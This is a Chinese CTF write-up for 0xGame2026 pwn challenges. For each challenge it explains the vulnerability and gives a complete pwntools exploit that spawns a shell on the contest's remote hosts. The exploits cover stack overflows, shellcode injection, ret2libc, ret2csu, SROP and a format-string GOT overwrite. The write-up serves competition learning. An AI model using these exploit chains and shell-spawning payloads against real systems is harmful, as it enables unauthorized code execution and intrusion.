Week1 Pwn 奇妙杂货铺 没有给出附件,就直接nc连接看一下
模拟了一个商铺,玩家作为买家,如果身上有99999个金币就可以获得flag,现在唯一能交互的就是选项1,花10金币买血瓶。
稍微试了一下,发现该程序并没有进行正数检测,如果输入负数,反而会增加玩家的金币,利用这一漏洞点,就可以让玩家获得无限的金币从而获取flag了。
亦步亦趋 haoo@LAPTOP-QH6DKIQF:/mnt/d/国内赛/0xGame2026/Pwn$ checksec yibuyiqu [*] '/mnt/d/国内赛/0xGame2026/Pwn/yibuyiqu' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
开启了pie保护,因此大概率得先获得程序基址,再进行后面的操作
首先得利用buf能够覆盖修改v2的值这一点,将v2的值改为0xdeadbeef进入level2函数
接着在level2函数中给了我们win函数地址并存在栈溢出漏洞,可以修改返回地址
win函数就是后门函数,那么exp就非常容易编写了,完整如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./yibuyiqu' #libc_file='libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='nc1.ctfplus.cn' port=39254 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) payload_1 = cyclic(0x20 - 4) + p32(0xdeadbeef) s(payload_1) io.recvuntil("It's addr about: 0x") win_addr = int(io.recv(12),16) leak("win_addr",win_addr) base_addr = win_addr - 0x1209 ret = base_addr + 0x000000000000101a payload_2 = cyclic(0x20 + 8) + p64(ret) + p64(win_addr) sl(payload_2) #连接 #-------------------------------------------------------------------------------- ioi()
!?数学基础?! ================================================== (Scripting 101) ================================================== 系统提示:连续答对 100 道随机四则运算题,即可获得 Flag! [round:1/100 ] calculate: 635 一 180 = ?
就是写一个脚本进行100道四则运算,在规定时间内全部答对就能够获得flag,这里就用官方的脚本,如下所示:
from pwn import * context.log_level = 'debug' io = remote('nc1.ctfplus.cn',40610) #io = process('./pwn') for i in range(100): io.recvuntil(b'calculate: ') data = io.recvuntil(b' =')[:-2].decode('utf-8') if '+' in data: data = data.replace('+','+') if '一' in data: data = data.replace('一','-') if 'x' in data: data = data.replace('x','*') if '÷' in data: data = data.replace('÷','//') ans = str(eval(data)).encode() io.recvuntil(b'answer: ') io.sendline(ans) io.interactive()
两次回响 [*] '/mnt/d/国内赛/0xGame2026/Pwn/liangcihuixiang' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled Stripped: No
这种保护,感觉是打shellcode
确实是打shellcode,因为这道题目第一次输入的大小有限,因此得先利用这9字节构造出read,再输入shellcode并执行
看起来是够用的,其实在本地里面直接syscall就行了,但是远程的话得弄一下rdx的值,然后毕竟是输入到rsi所指向的位置,而这个位置前面部分我们已经输入了第一段shellcode,执行完毕后,此时rip指向8字节或者9字节偏移处,因此在构造第二段shellcode时得使用\x90进行补充。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./liangcihuixiang' #libc_file='libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='nc1.ctfplus.cn' port=35566 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) shellcode_1 = ''' push 0xff pop rdx syscall ''' shellcode_1 = asm(shellcode_1) sl(shellcode_1) pause() shellcode_2 = asm(shellcraft.sh()) s(b"\x90" * 0x10 + shellcode_2) #连接 #-------------------------------------------------------------------------------- ioi()
保持沉默 首先这道题目先介绍一下dup2(2,1),其作用是将标准输出重定向到标准错误。
这道题目有意思的点在于其先关闭了标准输出,因此如果直接利用vuln函数中的栈溢出去泄漏libc的话是没有输出的,但是我们利用栈溢出跳到put函数执行dup2(2,1),从而就可以恢复输出了。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./baochichenmo' #libc_file='libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='nc1.ctfplus.cn' port=20445 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) pop_rdi = 0x00000000004011fe pop_rsi = 0x0000000000401200 ret = 0x000000000040101a puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] put = 0x40126A vuln = 0x4012EC payload_1 = cyclic(0x20 + 8) + p64(pop_rdi) + p64(0xDEADBEEF) + p64(pop_rsi) + p64(0x9527) + p64(put) + p64(vuln) sl(payload_1) payload_2 = cyclic(0x20 + 8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln) sl(payload_2) puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) leak('puts_addr',puts_addr) libc_base = puts_addr - 0x80e50 system_addr = libc_base + 0x50d70 bin_sh = libc_base + 0x1d8678 payload_3 = cyclic(0x20 + 8) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr) sl(payload_3) #连接 #-------------------------------------------------------------------------------- ioi()
三扇门 这道题目考查的是ret2csu,但是有非预期,可以直接利用栈溢出返回到后门函数,exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./sanshanmen' #libc_file='libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='nc1.ctfplus.cn' port=45056 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) ret = 0x000000000040101a win = 0x000000000040129D payload = cyclic(0x10 + 8) + p64(win) sl(payload) #连接 #-------------------------------------------------------------------------------- ioi()
预期的话就是利用ret2csu,exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./sanshanmen' #libc_file='libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='nc1.ctfplus.cn' port=45056 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) ret = 0x000000000040101a win = 0x000000000040125B csu_1 = 0x000000000040138A csu_2 = 0x0000000000401370 payload_1 = flat( b'a'*0x18, ret, csu_1, 0, 1, 0x111, 0x222, 0x333, 0x404060, csu_2, b'a'*56 ) s(payload_1) #连接 #-------------------------------------------------------------------------------- ioi()
大道至简 就是一道简单的SROP,关键是这题没法用read读取输入的字节数来控制rax的值,但是这题存在magic函数
可以利用这个函数将rax的值改为15,完整exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./dadaozhijian' #libc_file='libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='nc1.ctfplus.cn' port=41622 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) syscall = 0x000000000040107A bin_sh = 0x0000000000403033 magic = 0x000000000040105B sigFrame = SigreturnFrame() sigFrame.rax = 0x3b sigFrame.rdi = bin_sh sigFrame.rsi = 0 sigFrame.rdx = 0 sigFrame.rip = syscall payload = cyclic(0x18) + p64(magic) + p64(syscall) + bytes(sigFrame) sl(payload) #连接 #-------------------------------------------------------------------------------- ioi()
这怎么可以作为名字啊! 一道利用格式化字符串漏洞的题目
这道题目明显没有栈溢出,但是有两次可以利用的格式化字符串漏洞,以及有puts(buf)这种格式,那么是不是可以先向buf中输入/bin/sh字符串,再利用printf将puts改为system,这么一来是不是就有了system(buf)。思路很清晰了,那么就一步一步来。
首先泄漏libc。能向buf中输入的字符串数量还是比较多的,就在这里泄漏吧
pwndbg> fmtarg 0x7fffffffd3f0 The index of format argument : 6 (\"\%5$p\")
发现我们输入的偏移为6,那么将某个函数的got表地址输入进去是不是就可以泄漏了,因为得先输入/bin/sh字符串,因此就在偏移为8的地方输入
puts_got = elf.got['puts'] payload = b"/bin/sh;" + b"%8$saaaa" + p64(puts_got) s(payload) puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) leak("puts_addr",puts_addr)
泄漏出来后就构造payload修改puts的got表,因为在第一个payload里面已经输入过puts的got表地址了,所以在第二次就只需要输入低位或高位的就行了。完整的exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./pwn' libc_file='libc.so.6' elf=ELF(pwn_file) libc=ELF(libc_file) rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='nc1.ctfplus.cn' port=21381 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) puts_got = elf.got['puts'] payload_1 = b"/bin/sh;" + b"%8$saaaa" + p64(puts_got) s(payload_1) puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) leak("puts_addr",puts_addr) libc_base = puts_addr - libc.sym['puts'] system = libc_base + libc.sym['system'] low = system & 0xffff high = (system >> 16) & 0xff payload_2 = (f'%{high}c%12$hhn' + f'%{low-high}c%8$hn').encode() payload_2 = payload_2.ljust(0x18,b'a') payload_2 += p64(puts_got + 2) sl(payload_2) #连接 #-------------------------------------------------------------------------------- ioi()
Week2 Pwn login 看起来是一道简单的ret2libc题目,但是这道题目libc的system被修改成执行/bin/ls指令,如下
[DEBUG] Received 0x36 bytes: b"ls: cannot access 'exit 0': No such file or directory\n" ls: cannot access 'exit 0': No such file or directory
因此就换一个思路,反正已经泄漏了libc基址,gadgets也足够,构造execve(“/bin/sh”,0,0)来获取shell,首先将/bin/sh输入到bss段上再进行构造获取shell。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./pwn' libc_file='libc.so.6' elf=ELF(pwn_file) libc=ELF(libc_file) rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='nc1.ctfplus.cn' port=24144 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] read_plt = elf.plt['read'] vuln = elf.symbols['vuln'] bss = elf.bss() pop_rdi = 0x000000000040119e pop_rsi = 0x00000000004011a0 pop_rdx = 0x00000000004011a2 ret = 0x000000000040101a payload = cyclic(0x20 + 8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln) sl(payload) io.recvuntil("Done!\n") puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) leak("puts_addr",puts_addr) libc_base = puts_addr - 0x80e50 execve = libc_base + libc.sym['execve'] payload = cyclic(0x20 + 8) + p64(ret) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x20) + p64(read_plt) + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(execve) sa("Input your payload: ",payload) sl(b"/bin/sh\x00") #连接 #-------------------------------------------------------------------------------- ioi()
调皮的文件 笼中鸟